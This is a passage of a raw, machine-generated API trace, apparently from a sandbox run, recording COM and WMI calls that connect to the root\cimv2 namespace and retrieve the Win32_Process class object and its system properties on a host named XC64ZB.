puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0118.111] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d100 | out: ppv=0x1b30d100*=0x1b4d25a0) returned 0x0 [0118.111] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4d25a0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d348 | out: ppNamespace=0x1b30d348*=0x63c740) returned 0x0 [0118.131] WbemLocator:IUnknown:QueryInterface (in: This=0x63c740, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf78 | out: ppvObject=0x1b30cf78*=0x1b511870) returned 0x0 [0118.131] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b511870, pProxy=0x63c740, pAuthnSvc=0x1b30d040, pAuthzSvc=0x1b30cfc0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4, pImpLevel=0x1b30cfd0, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4 | out: pAuthnSvc=0x1b30d040*=0xa, pAuthzSvc=0x1b30cfc0*=0x0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4*=0x6, pImpLevel=0x1b30cfd0*=0x2, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4*=0x1) returned 0x0 [0118.131] WbemLocator:IUnknown:Release (This=0x1b511870) returned 0x1 [0118.131] WbemLocator:IUnknown:QueryInterface (in: This=0x63c740, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf10 | out: ppvObject=0x1b30cf10*=0x1b5118b8) returned 0x0 [0118.131] WbemLocator:IUnknown:QueryInterface (in: This=0x63c740, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf20 | out: ppvObject=0x1b30cf20*=0x1b511870) returned 0x0 [0118.131] WbemLocator:IClientSecurity:SetBlanket (This=0x1b511870, pProxy=0x63c740, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0118.132] WbemLocator:IUnknown:Release (This=0x1b511870) returned 0x2 [0118.132] WbemLocator:IUnknown:Release (This=0x1b5118b8) returned 0x1 [0118.132] CoTaskMemFree (pv=0x1b4619a0) [0118.132] WbemLocator:IUnknown:Release (This=0x1b4d25a0) returned 0x0 [0118.132] WbemLocator:IUnknown:QueryInterface (in: This=0x63c740, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca10 | out: ppvObject=0x1b30ca10*=0x1b5118b8) returned 0x0 [0118.132] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5118b8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x0) returned 0x80004002 [0118.132] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5118b8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x0) returned 0x80004002 [0118.133] WbemLocator:IUnknown:QueryInterface (in: This=0x63c740, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c298 | out: ppvObject=0x1b30c298*=0x0) returned 0x80004002 [0118.133] WbemLocator:IUnknown:AddRef (This=0x1b5118b8) returned 0x3 [0118.133] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5118b8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c158 | out: ppvObject=0x1b30c158*=0x0) returned 0x80004002 [0118.133] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5118b8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c0e0 | out: ppvObject=0x1b30c0e0*=0x0) returned 0x80004002 [0118.134] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5118b8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0d0 | out: ppvObject=0x1b30c0d0*=0x1b511798) returned 0x0 [0118.134] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b511798, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c0f8 | out: pCid=0x1b30c0f8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0118.134] WbemLocator:IUnknown:Release (This=0x1b511798) returned 0x3 [0118.134] CoGetContextToken (in: pToken=0x1b30c180 | out: pToken=0x1b30c180) returned 0x0 [0118.134] CoGetContextToken (in: pToken=0x1b30c600 | out: pToken=0x1b30c600) returned 0x0 [0118.134] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5118b8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x1b511880) returned 0x0 [0118.134] WbemLocator:IRpcOptions:Query (in: This=0x1b511880, pPrx=0x1b5118b8, dwProperty=2, pdwValue=0x1b30c6b0 | out: pdwValue=0x1b30c6b0) returned 0x80004002 [0118.134] WbemLocator:IUnknown:Release (This=0x1b511880) returned 0x3 [0118.134] WbemLocator:IUnknown:Release (This=0x1b5118b8) returned 0x2 [0118.134] CoGetContextToken (in: pToken=0x1b30ccc0 | out: pToken=0x1b30ccc0) returned 0x0 [0118.134] CoGetContextToken (in: pToken=0x1b30cbc0 | out: pToken=0x1b30cbc0) returned 0x0 [0118.134] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5118b8, riid=0x1b30cd20*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30ccf0 | out: ppvObject=0x1b30ccf0*=0x63c740) returned 0x0 [0118.134] WbemLocator:IUnknown:AddRef (This=0x63c740) returned 0x4 [0118.134] WbemLocator:IUnknown:Release (This=0x63c740) returned 0x3 [0118.134] WbemLocator:IUnknown:Release (This=0x63c740) returned 0x2 [0118.134] SysStringLen (param_1=0x0) returned 0x0 [0118.134] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b07e0, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0118.134] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b07e0, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0118.134] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b07e0, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0118.135] CoGetContextToken (in: pToken=0x1b30cde0 | out: pToken=0x1b30cde0) returned 0x0 [0118.135] WbemLocator:IUnknown:AddRef (This=0x1b5118b8) returned 0x3 [0118.135] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5118b8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cde0 | out: ppvObject=0x1b30cde0*=0x1b5118b8) returned 0x0 [0118.135] WbemLocator:IUnknown:Release (This=0x1b5118b8) returned 0x3 [0118.135] WbemLocator:IUnknown:Release (This=0x1b5118b8) returned 0x2 [0118.135] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af520, lFlags=2, puBuffLength=0x1b30d4e0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4e0*=0xe, pszText=0x0) returned 0x0 [0118.135] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af520, lFlags=2, puBuffLength=0x1b30d4e0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d4e0*=0xe, pszText="Win32_Process") returned 0x0 [0118.135] IWbemServices:GetObject (in: This=0x63c740, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d460*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d460*=0x1b4d97f0, ppCallResult=0x0) returned 0x0 [0118.139] IWbemClassObject:Get (in: This=0x1b4d97f0, wszName="__PATH", lFlags=0, pVal=0x1b30d3f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d558*=0, plFlavor=0x1b30d550*=0 | out: pVal=0x1b30d3f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b30d558*=8, plFlavor=0x1b30d550*=64) returned 0x0 [0118.139] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0118.139] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0118.139] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d428 | out: ppv=0x1b30d428*=0x6124e8) returned 0x0 [0118.139] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d418 | out: pAptType=0x1b30d418*=1) returned 0x0 [0118.139] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d420 | out: ppvObject=0x1b30d420*=0x0) returned 0x80004002 [0118.139] IUnknown:Release (This=0x6124e8) returned 0x1 [0118.140] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c818 | out: ppv=0x1b30c818*=0x1b4d21c0) returned 0x0 [0118.140] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d21c0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c900 | out: ppvObject=0x1b30c900*=0x0) returned 0x80004002 [0118.140] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d21c0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8d8 | out: ppvObject=0x1b30c8d8*=0x1b4af2e0) returned 0x0 [0118.140] WbemDefPath:IUnknown:Release (This=0x1b4d21c0) returned 0x0 [0118.140] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c680 | out: ppvObject=0x1b30c680*=0x1b4af2e0) returned 0x0 [0118.140] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c710 | out: ppvObject=0x1b30c710*=0x0) returned 0x80004002 [0118.140] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf08 | out: ppvObject=0x1b30bf08*=0x0) returned 0x80004002 [0118.140] WbemDefPath:IUnknown:AddRef (This=0x1b4af2e0) returned 0x3 [0118.141] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdc8 | out: ppvObject=0x1b30bdc8*=0x0) returned 0x80004002 [0118.141] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd50 | out: ppvObject=0x1b30bd50*=0x0) returned 0x80004002 [0118.141] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x1b4d21e0) returned 0x0 [0118.141] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d21e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd68 | out: pCid=0x1b30bd68*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0118.141] WbemDefPath:IUnknown:Release (This=0x1b4d21e0) returned 0x3 [0118.141] CoGetContextToken (in: pToken=0x1b30bdf0 | out: pToken=0x1b30bdf0) returned 0x0 [0118.141] CoGetContextToken (in: pToken=0x1b30c270 | out: pToken=0x1b30c270) returned 0x0 [0118.141] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c330 | out: ppvObject=0x1b30c330*=0x0) returned 0x80004002 [0118.141] WbemDefPath:IUnknown:Release (This=0x1b4af2e0) returned 0x2 [0118.141] WbemDefPath:IUnknown:Release (This=0x1b4af2e0) returned 0x1 [0118.141] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0118.141] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0118.141] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x1b30d0c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4af2e0) returned 0x0 [0118.141] WbemDefPath:IUnknown:AddRef (This=0x1b4af2e0) returned 0x3 [0118.141] WbemDefPath:IUnknown:Release (This=0x1b4af2e0) returned 0x2 [0118.141] WbemDefPath:IWbemPath:SetText (This=0x1b4af2e0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0118.141] IWbemClassObject:Get (in: This=0x1b4d97f0, wszName="__SERVER", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=0, plFlavor=0x1b30d608*=0 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0118.141] SysStringByteLen (bstr="XC64ZB") returned 0xc [0118.141] SysStringByteLen (bstr="XC64ZB") returned 0xc [0118.142] IWbemClassObject:Get (in: This=0x1b4d97f0, wszName="__NAMESPACE", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0118.142] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0118.142] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0118.142] IWbemClassObject:Get (in: This=0x1b4d97f0, wszName="__CLASS", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0118.142] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0118.142] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0118.142] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0118.142] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0118.142] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0118.142] IUnknown:Release (This=0x6124e8) returned 0x1 [0118.143] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d1fc0) returned 0x0 [0118.143] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d1fc0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0118.143] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d1fc0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4af220) returned 0x0 [0118.143] WbemDefPath:IUnknown:Release (This=0x1b4d1fc0) returned 0x0 [0118.143] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4af220) returned 0x0 [0118.143] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0118.143] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0118.143] WbemDefPath:IUnknown:AddRef (This=0x1b4af220) returned 0x3 [0118.143] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0118.143] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0118.143] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d2460) returned 0x0 [0118.143] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2460, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0118.144] WbemDefPath:IUnknown:Release (This=0x1b4d2460) returned 0x3 [0118.144] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0118.144] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0118.144] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0118.144] WbemDefPath:IUnknown:Release (This=0x1b4af220) returned 0x2 [0118.144] WbemDefPath:IUnknown:Release (This=0x1b4af220) returned 0x1 [0118.144] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0118.144] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0118.144] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4af220) returned 0x0 [0118.144] WbemDefPath:IUnknown:AddRef (This=0x1b4af220) returned 0x3 [0118.144] WbemDefPath:IUnknown:Release (This=0x1b4af220) returned 0x2 [0118.144] WbemDefPath:IWbemPath:SetText (This=0x1b4af220, uMode=0x4, pszPath="") returned 0x0 [0118.144] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0118.144] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0118.144] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: 